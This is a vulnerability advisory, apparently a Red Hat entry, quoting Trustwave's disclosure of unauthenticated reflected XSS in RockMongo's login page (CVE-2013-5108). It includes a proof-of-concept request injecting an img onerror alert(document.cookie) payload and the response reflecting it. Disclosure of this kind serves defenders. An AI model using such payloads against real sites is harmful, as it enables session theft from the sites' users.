Damian Profancik of Trustwave SpiderLabs reports: RockMongo is vulnerable to numerous Cross-Site Scripting Vulnerabilities. Specifically, any parameter that is retrieved with the "xn" function. This vulnerability does not require an attacker to be authenticated prior to performing the exploit, as there are vulnerable parameters on the login page. Below is a proof of concept for exploiting this vulnerability: Example 1 (Tested on RockMongo v1.1.2): #Request (The "db" parameter is also vulnerable on the login page) GET /index.php?action=login.index&host=0&username="><img+src%3D1+onerror%3Dalert(document.cookie)> HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive #Response HTTP/1.1 200 OK Date: Mon, 10 Jun 2013 14:01:52 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.9 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 3658 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>RockMongo</title> ... <tr> <td nowrap>UserName:</td> <td><input type="text" name="username" value=""><img src=1 onerror=alert(document.cookie)>" style="width:150px"/></td> </tr> ... External references: https://www.trustwave.com/spiderlabs/advisories/TWSL2013-026.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5108
Statement: This issue affects the versions of the mongo cartridge as shipped with Red Hat OpenShift Enterprise Linux 2. Red Hat Product Security has rated this issue as having Moderate security impact. A future update may address this issue. For additional information, refer to the Issue Severity Classification: https://access.redhat.com/security/updates/classification/.